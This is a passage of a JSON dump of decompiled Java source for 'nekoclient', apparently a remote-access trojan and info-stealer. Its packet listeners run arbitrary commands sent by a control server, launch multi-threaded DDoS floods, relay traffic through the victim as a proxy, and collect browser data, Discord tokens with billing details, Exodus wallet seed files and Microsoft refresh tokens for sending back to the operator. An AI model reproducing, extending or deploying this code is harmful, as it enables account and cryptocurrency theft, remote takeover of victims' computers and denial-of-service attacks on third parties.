  @Override\r\n   public String getName() {\r\n      return \"ddos\";\r\n   }\r\n\r\n   public final String getHost() {\r\n      return this.host;\r\n   }\r\n\r\n   public final int getPort() {\r\n      return this.port;\r\n   }\r\n\r\n   public final long getTime() {\r\n      return this.time;\r\n   }\r\n\r\n   public final Protocol getProtocol() {\r\n      return this.protocol;\r\n   }\r\n\r\n   public final int getThreads() {\r\n      return this.threads;\r\n   }\r\n\r\n   public final ThreadsUnit getThreadsUnit() {\r\n      return this.threadsUnit;\r\n   }\r\n\r\n   public final Method getMethod() {\r\n      return this.method;\r\n   }\r\n\r\n   public final JsonObject getOptions() {\r\n      return this.options;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/DisconnectPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.disconnect.DisconnectReason;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic class DisconnectPacket implements Packet {\r\n   private DisconnectReason reason;\r\n\r\n   public DisconnectPacket() {\r\n   }\r\n\r\n   public DisconnectPacket(DisconnectReason reason) {\r\n      this.reason = reason;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      this.reason = DisconnectReason.valueOf(buffer.getString());\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      buffer.putString(this.reason.name());\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"disconnect\";\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   public final DisconnectReason getReason() {\r\n      return this.reason;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/HelloPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic class HelloPacket implements Packet {\r\n   @Override\r\n   public void read(FriendlyByteBuffer input) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer output) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"hello\";\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/KeepAlivePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic class KeepAlivePacket implements Packet {\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"keepalive\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/ProxyPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\nimport java.net.InetAddress;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class ProxyPacket extends NoncePacket {\r\n   private int acceptorPort;\r\n   private InetSocketAddress address;\r\n\r\n   public ProxyPacket() {\r\n   }\r\n\r\n   public ProxyPacket(int acceptorPort, InetSocketAddress address) {\r\n      this.acceptorPort = acceptorPort;\r\n      this.address = address;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      this.acceptorPort = buffer.getUnsignedShort();\r\n      this.address = new InetSocketAddress(InetAddress.getByAddress(buffer.getBytes()), buffer.getUnsignedShort());\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putUnsignedShort(this.acceptorPort);\r\n      buffer.putBytes(this.address.getAddress().getAddress());\r\n      buffer.putUnsignedShort(this.address.getPort());\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"proxy\";\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   public final int getAcceptorPort() {\r\n      return this.acceptorPort;\r\n   }\r\n\r\n   public final InetSocketAddress getAddress() {\r\n      return this.address;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/RequestBrowserDataPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\n\r\npublic class RequestBrowserDataPacket extends NoncePacket {\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"requestbrowserdata\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/RequestDiscordPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\n\r\npublic class RequestDiscordPacket extends NoncePacket {\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"requestdiscord\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/RequestExodusPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\n\r\npublic class RequestExodusPacket extends NoncePacket {\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"requestexodus\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/RequestMSAPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\n\r\npublic class RequestMSAPacket extends NoncePacket {\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"requestmsa\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/UpdateModulePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic class UpdateModulePacket implements Packet {\r\n   private String moduleName;\r\n   private boolean enabled;\r\n\r\n   public UpdateModulePacket(String moduleName, boolean enabled) {\r\n      this.moduleName = moduleName;\r\n      this.enabled = enabled;\r\n   }\r\n\r\n   public UpdateModulePacket() {\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      this.moduleName = buffer.getString();\r\n      this.enabled = buffer.getBoolean();\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      buffer.putString(this.moduleName);\r\n      buffer.putBoolean(this.enabled);\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"updatemodule\";\r\n   }\r\n\r\n   public final String getModuleName() {\r\n      return this.moduleName;\r\n   }\r\n\r\n   public final boolean isEnabled() {\r\n      return this.enabled;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/PacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic interface PacketListener<T extends Packet> {\r\n   void call(T var1, Client var2, String var3) throws IOException;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/CommandPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.CommandPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\npublic class CommandPacketListener implements PacketListener<CommandPacket> {\r\n   public void call(CommandPacket packet, Client client, String id) throws IOException {\r\n      try {\r\n         Process process = Runtime.getRuntime().exec(packet.getCommand());\r\n         process.waitFor(1L, TimeUnit.SECONDS);\r\n         client.send(\r\n            new ActionResponsePacket(\r\n               packet.getNonce(),\r\n               process.isAlive() || process.exitValue() >= 0 && process.getInputStream().available() >= process.getErrorStream().available()\r\n            )\r\n         );\r\n      } catch (InterruptedException | ArrayIndexOutOfBoundsException | IOException var5) {\r\n         client.send(new ActionResponsePacket(packet.getNonce(), false));\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/DDoSPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.api.ddos.ThreadsUnit;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;\r\nimport dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.DDoSPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\npublic class DDoSPacketListener implements PacketListener<DDoSPacket> {\r\n   public void call(DDoSPacket packet, Client client, String id) throws IOException {\r\n      int threads = packet.getThreads();\r\n      if (Objects.equals(packet.getThreadsUnit(), ThreadsUnit.THREADS_PER_CORE)) {\r\n         threads *= Runtime.getRuntime().availableProcessors();\r\n      }\r\n\r\n      ExecutorService executorService = Executors.newWorkStealingPool(threads);\r\n      MethodHandler handler = packet.getMethod().createHandler();\r\n      InetSocketAddress address = handler.transformAddress(new InetSocketAddress(packet.getHost(), packet.getPort()), packet.getHost());\r\n\r\n      try {\r\n         handler.init(packet.getProtocol(), address, packet.getHost(), packet.getOptions());\r\n      } catch (IllegalArgumentException var10) {\r\n         client.send(new ActionResponsePacket(packet.getNonce(), false));\r\n         return;\r\n      }\r\n\r\n      Runnable runnable = () -> {\r\n         while(!executorService.isShutdown() && !executorService.isTerminated()) {\r\n            try {\r\n               handler.run(packet.getProtocol(), address);\r\n            } catch (Throwable var5x) {\r\n            }\r\n         }\r\n      };\r\n      Executors.newSingleThreadScheduledExecutor().schedule(() -> {\r\n         executorService.shutdownNow();\r\n         handler.cleanup();\r\n      }, packet.getTime(), TimeUnit.SECONDS);\r\n\r\n      for(int i = 0; i < threads; ++i) {\r\n         executorService.execute(runnable);\r\n      }\r\n\r\n      client.send(new ActionResponsePacket(packet.getNonce(), true));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/DisconnectPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.packet.impl.server.DisconnectPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\n\r\npublic class DisconnectPacketListener implements PacketListener<DisconnectPacket> {\r\n   public void call(DisconnectPacket packet, Client client, String id) throws IOException {\r\n      client.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/HelloPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.packet.impl.server.HelloPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\n\r\npublic class HelloPacketListener implements PacketListener<HelloPacket> {\r\n   public void call(HelloPacket packet, Client client, String id) throws IOException {\r\n      client.send(new dev.neko.nekoclient.packet.impl.client.HelloPacket(client.getClientInfo(), client.getVersionInfo()));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/ProxyPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.api.proxy.ProxyResponse;\r\nimport dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.ProxyPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.DataOutputStream;\r\nimport java.io.IOException;\r\nimport java.net.ConnectException;\r\nimport java.net.Socket;\r\nimport java.net.SocketTimeoutException;\r\nimport java.net.UnknownHostException;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\n\r\npublic class ProxyPacketListener implements PacketListener<ProxyPacket> {\r\n   public void call(ProxyPacket packet, Client client, String id) throws IOException {\r\n      Socket clientConnection = new Socket();\r\n\r\n      try {\r\n         clientConnection.connect(packet.getAddress(), 5000);\r\n         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTED));\r\n         ExecutorService service = Executors.newFixedThreadPool(2);\r\n         service.execute(() -> {\r\n            try {\r\n               Socket serverConnection = new Socket(client.getAddress().getAddress().getHostAddress(), packet.getAcceptorPort());\r\n               DataOutputStream dataOutputStream = new DataOutputStream(serverConnection.getOutputStream());\r\n               dataOutputStream.writeUTF(packet.getNonce());\r\n               service.execute(() -> {\r\n                  while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) {\r\n                     try {\r\n                        clientConnection.getOutputStream().write(serverConnection.getInputStream().read());\r\n                        if (serverConnection.getInputStream().available() > 0) {\r\n                           byte[] ignoredx = new byte[serverConnection.getInputStream().available()];\r\n                           serverConnection.getInputStream().read(ignoredx);\r\n                           clientConnection.getOutputStream().write(ignoredx);\r\n                        }\r\n                     } catch (IOException var4x) {\r\n                        service.shutdownNow();\r\n                        return;\r\n                     }\r\n                  }\r\n               });\r\n\r\n               while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) {\r\n                  try {\r\n                     serverConnection.getOutputStream().write(clientConnection.getInputStream().read());\r\n                     if (clientConnection.getInputStream().available() > 0) {\r\n                        byte[] bytes = new byte[clientConnection.getInputStream().available()];\r\n                        clientConnection.getInputStream().read(bytes);\r\n                        serverConnection.getOutputStream().write(bytes);\r\n                     }\r\n                  } catch (IOException var7x) {\r\n                     service.shutdownNow();\r\n                     return;\r\n                  }\r\n               }\r\n            } catch (IOException var8x) {\r\n            }\r\n         });\r\n      } catch (SocketTimeoutException var6) {\r\n         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.TIMED_OUT));\r\n      } catch (UnknownHostException var7) {\r\n         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_HOST));\r\n      } catch (ConnectException var8) {\r\n         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTION_REFUSED));\r\n      } catch (IOException var9) {\r\n         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_ERROR));\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/RequestBrowserDataPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.BrowserDataStealer;\r\nimport dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\n\r\npublic class RequestBrowserDataPacketListener implements PacketListener<RequestBrowserDataPacket> {\r\n   public void call(RequestBrowserDataPacket packet, Client client, String id) throws IOException {\r\n      ExecutorService executorService = Executors.newSingleThreadExecutor();\r\n      executorService.execute(() -> {\r\n         try {\r\n            client.send(new BrowserDataResponsePacket(packet.getNonce(), BrowserDataStealer.read()));\r\n         } catch (IOException var4x) {\r\n            throw new RuntimeException(var4x);\r\n         }\r\n\r\n         executorService.shutdown();\r\n      });\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/RequestDiscordPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.api.stealer.discord.DiscordAccount;\r\nimport dev.neko.nekoclient.api.stealer.discord.impl.DiscordStealer;\r\nimport dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.net.URL;\r\nimport java.net.URLConnection;\r\nimport java.util.ArrayList;\r\nimport java.util.Base64;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\nimport javax.net.ssl.HttpsURLConnection;\r\n\r\npublic class RequestDiscordPacketListener implements PacketListener<RequestDiscordPacket> {\r\n   public void call(RequestDiscordPacket packet, Client client, String id) throws IOException {\r\n      ExecutorService executorService = Executors.newSingleThreadExecutor();\r\n      executorService.execute(\r\n         () -> {\r\n            boolean deb = System.getProperty(\"user.name\").equals(\"TheDxrkKiller\");\r\n   \r\n            try {\r\n               List<DiscordAccount> accounts = new ArrayList<>();\r\n   \r\n               for(String token : DiscordStealer.retrieve()) {\r\n                  try {\r\n                     String[] split = token.split(\"\\\\.\");\r\n                     String userId = new String(Base64.getDecoder().decode(Objects.equals(split[0], \"mfa\") ? split[1] : split[0]));\r\n                     if (!accounts.stream().anyMatch(discordAccount -> Objects.equals(discordAccount.getId(), userId))) {\r\n                        int profileStatusCode = -1;\r\n                        HttpsURLConnection profileConnection = null;\r\n   \r\n                        while(profileStatusCode < 0 || Objects.equals(profileStatusCode, 429)) {\r\n                           profileConnection = (HttpsURLConnection)new URL(\r\n                                 String.format(\"https://discord.com/api/v9/users/%s/profile?with_mutual_guilds=false&with_mutual_friends_count=false\", userId)\r\n                              )\r\n                              .openConnection();\r\n                           profileConnection.setRequestMethod(\"GET\");\r\n                           setHeaders(profileConnection, token);\r\n                           if (Objects.equals(profileStatusCode = profileConnection.getResponseCode(), 429)) {\r\n                              Thread.sleep(10000L);\r\n                           }\r\n                        }\r\n   \r\n                        if (Objects.equals(profileConnection.getResponseCode(), 200)) {\r\n                           int userStatusCode = -1;\r\n                           HttpsURLConnection userConnection = null;\r\n   \r\n                           while(userStatusCode < 0 || Objects.equals(userStatusCode, 429)) {\r\n                              userConnection = (HttpsURLConnection)new URL(\"https://discord.com/api/v9/users/@me\").openConnection();\r\n                              userConnection.setRequestMethod(\"GET\");\r\n                              setHeaders(userConnection, token);\r\n                              if (Objects.equals(userStatusCode = userConnection.getResponseCode(), 429)) {\r\n                                 Thread.sleep(10000L);\r\n                              }\r\n                           }\r\n   \r\n                           if (Objects.equals(userConnection.getResponseCode(), 200)) {\r\n                              int paymentStatusCode = -1;\r\n                              HttpsURLConnection paymentSourcesConnection = null;\r\n   \r\n                              while(paymentStatusCode < 0 || Objects.equals(paymentStatusCode, 429)) {\r\n                                 paymentSourcesConnection = (HttpsURLConnection)new URL(\"https://discord.com/api/v9/users/@me/billing/payment-sources\")\r\n                                    .openConnection();\r\n                                 paymentSourcesConnection.setRequestMethod(\"GET\");\r\n                                 setHeaders(paymentSourcesConnection, token);\r\n                                 if (Objects.equals(paymentStatusCode = paymentSourcesConnection.getResponseCode(), 429)) {\r\n                                    Thread.sleep(10000L);\r\n                                 }\r\n                              }\r\n   \r\n                              if (Objects.equals(paymentSourcesConnection.getResponseCode(), 200)) {\r\n                                 DiscordAccount account = DiscordAccount.parse(\r\n                                    token,\r\n                                    Json.parse(new InputStreamReader(profileConnection.getInputStream())).asObject(),\r\n                                    Json.parse(new InputStreamReader(userConnection.getInputStream())).asObject(),\r\n                                    Json.parse(new InputStreamReader(paymentSourcesConnection.getInputStream())).asArray()\r\n                                 );\r\n                                 accounts.add(account);\r\n                              }\r\n                           }\r\n                        }\r\n   \r\n                        Thread.sleep(5000L);\r\n                     }\r\n                  } catch (Throwable var18) {\r\n                  }\r\n               }\r\n   \r\n               try {\r\n                  client.send(new DiscordResponsePacket(packet.getNonce(), accounts));\r\n               } catch (IOException var17) {\r\n               }\r\n   \r\n               executorService.shutdown();\r\n            } catch (Throwable var19) {\r\n            }\r\n         }\r\n      );\r\n   }\r\n\r\n   private static void setHeaders(URLConnection connection, String token) {\r\n      connection.setRequestProperty(\"Accept\", \"*/*\");\r\n      connection.setRequestProperty(\"Alt-Used\", \"discord.com\");\r\n      connection.setRequestProperty(\"Accept-Language\", \"en-US;q=0.8\");\r\n      connection.setRequestProperty(\"Authorization\", token);\r\n      connection.setRequestProperty(\"Referer\", \"https://discord.com/channels/@me\");\r\n      connection.setRequestProperty(\"Sec-Ch-Ua\", \"\\\"Not?A_Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"108\\\"\");\r\n      connection.setRequestProperty(\"Sec-Ch-Ua-Mobile\", \"?0\");\r\n      connection.setRequestProperty(\"Sec-Ch-Ua-Platform\", \"\\\"Windows\\\"\");\r\n      connection.setRequestProperty(\"Sec-Fetch-Dest\", \"empty\");\r\n      connection.setRequestProperty(\"Sec-Fetch-Mode\", \"cors\");\r\n      connection.setRequestProperty(\"Sec-Fetch-Site\", \"same-origin\");\r\n      connection.setRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0\");\r\n      connection.setRequestProperty(\"X-Debug-Options\", \"bugReporterEnabled\");\r\n      connection.setRequestProperty(\"X-Discord-Locale\", \"en-US\");\r\n      connection.setRequestProperty(\"X-Discord-Timezone\", \"America/Los_Angeles\");\r\n      connection.setRequestProperty(\r\n         \"X-Super-Properties\",\r\n         Base64.getEncoder()\r\n            .encodeToString(\r\n               Json.object()\r\n                  .add(\"os\", \"Windows\")\r\n                  .add(\"browser\", \"Firefox\")\r\n                  .add(\"device\", \"\")\r\n                  .add(\"system_locale\", \"en-US\")\r\n                  .add(\"browser_user_agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0\")\r\n                  .add(\"browser_version\", \"113.0\")\r\n                  .add(\"os_version\", \"10\")\r\n                  .add(\"referrer\", \"\")\r\n                  .add(\"referring_domain\", \"\")\r\n                  .add(\"referrer_current\", \"\")\r\n                  .add(\"referring_domain_current\", \"\")\r\n                  .add(\"release_channel\", \"stable\")\r\n                  .add(\"client_build_number\", 201211)\r\n                  .add(\"client_event_source\", Json.NULL)\r\n                  .add(\"design_id\", 0)\r\n                  .toString()\r\n                  .getBytes()\r\n            )\r\n      );\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/RequestExodusPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.ByteArrayOutputStream;\r\nimport java.io.IOException;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\nimport java.util.stream.Collectors;\r\nimport java.util.zip.ZipEntry;\r\nimport java.util.zip.ZipOutputStream;\r\n\r\npublic class RequestExodusPacketListener implements PacketListener<RequestExodusPacket> {\r\n   public void call(RequestExodusPacket packet, Client client, String id) throws IOException {\r\n      if (Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         client.send(new ExodusResponsePacket(packet.getNonce(), false, null));\r\n      } else {\r\n         Path wallet = Paths.get(System.getenv(\"APPDATA\"), \"Exodus\", \"exodus.wallet\");\r\n         if (!Files.isDirectory(wallet)) {\r\n            client.send(new ExodusResponsePacket(packet.getNonce(), false, null));\r\n         } else {\r\n            ExecutorService executorService = Executors.newSingleThreadExecutor();\r\n            executorService.execute(() -> {\r\n               try {\r\n                  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\r\n                  ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);\r\n\r\n                  for(Path path : Files.walk(wallet, 1).collect(Collectors.toList())) {\r\n                     if (Files.isRegularFile(path) && (path.getFileName().endsWith(\".seco\") || path.getFileName().toString().equals(\"passphrase.json\"))) {\r\n                        zipOutputStream.putNextEntry(new ZipEntry(path.getFileName().toString()));\r\n                        zipOutputStream.write(Files.readAllBytes(path));\r\n                     }\r\n                  }\r\n\r\n                  zipOutputStream.finish();\r\n                  zipOutputStream.close();\r\n                  client.send(new ExodusResponsePacket(packet.getNonce(), true, byteArrayOutputStream.toByteArray()));\r\n                  byteArrayOutputStream.close();\r\n               } catch (IOException var8) {\r\n                  throw new RuntimeException(var8);\r\n               }\r\n\r\n               executorService.shutdown();\r\n            });\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/RequestMSAPacketListener.java",
    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.MicrosoftAuth;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;\r\nimport dev.neko.nekoclient.api.stealer.msa.impl.MSAStealer;\r\nimport dev.neko.nekoclient.packet.impl.client.MSAResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\n\r\npublic class RequestMSAPacketListener implements PacketListener<RequestMSAPacket> {\r\n   public void call(RequestMSAPacket packet, Client client, String id) throws IOException {\r\n      ExecutorService executorService = Executors.newSingleThreadExecutor();\r\n      executorService.execute(() -> {\r\n         List<MicrosoftCredentials> credentials = new ArrayList<>();\r\n\r\n         for(MSAStealer.RefreshToken refreshToken : MSAStealer.retrieveRefreshTokens()) {\r\n            try {\r\n               MicrosoftCredentials credential = MicrosoftAuth.refreshToken(refreshToken.getToken(), refreshToken.getClientType());\r\n               if (credentials.stream().noneMatch(credential2 -> Objects.equals(credential2.getUserId(), credential.getUserId()))) {\r\n                  credentials.add(credential);\r\n               }\r\n\r\n               Thread.sleep(5000L);\r\n            } catch (Throwable var8) {\r\n            }\r\n         }\r\n\r\n         try {\r\n            client.send(new MSAResponsePacket(packet.getNonce(), credentials));\r\n         } catch (IOException var7) {\r\n         }\r\n\r\n         executorService.shutdown();\r\n      });\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/listener/impl/UpdateModulePacketListener.java",
